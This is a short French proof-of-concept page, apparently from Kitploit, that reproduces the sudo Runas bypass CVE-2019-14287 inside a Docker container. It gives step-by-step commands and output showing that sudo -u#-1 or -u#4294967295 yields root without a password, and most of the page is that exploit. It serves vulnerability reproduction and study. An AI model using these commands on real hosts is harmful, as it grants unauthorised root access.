poc-cve-2019-14287 — # PoC basé sur Docker démontrant l'élévation de privilèges sudo CVE-2019-14287 via le contournement de la restriction utilisateur Runas, avec instructions de reproduction étape par étape. | Kitploit

PoC of CVE-2019-14287

Aperçu

Exemple de reproduction de la vulnérabilité sudo (CVE-2019-14287) dans un conteneur Docker.

Procédure de l'exercice

Démarrer le conteneur avec docker compose up -d
Entrer dans le conteneur avec docker exec -it vulnerable_sudo_app bash
Exécuter les commandes whoami et id pour vérifier que vous êtes un utilisateur standard (pas root)
```
$ whoami
user1
$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1)
$ id -u
1000
```
Vérifier que sudo -u#0 whoami et sudo -u#0 id -u ne peuvent pas être exécutés
- Exécution avec l'UID 0 (root) spécifié via l'option -u
- Un mot de passe est demandé, mais comme vous ne le connaissez pas, la commande ne peut pas être exécutée
```
$ sudo -u#0 whoami
[sudo] password for user1:
$ sudo -u#0 id
[sudo] password for user1:
$ sudo -u#0 id -u
[sudo] password for user1:
```
Exécuter sudo -u#-1 whoami et sudo -u#-1 id -u pour vérifier que les commandes peuvent être exécutées en tant que root sans authentification (reproduction de la vulnérabilité)
- La même chose est possible avec -u#4294967295
```
$ sudo -u#-1 whoami
root
$ sudo -u#-1 id
uid=0(root) gid=1000(user1) groups=1000(user1)
$ sudo -u#-1 id -u
0
```

Références

Télécharger l’outil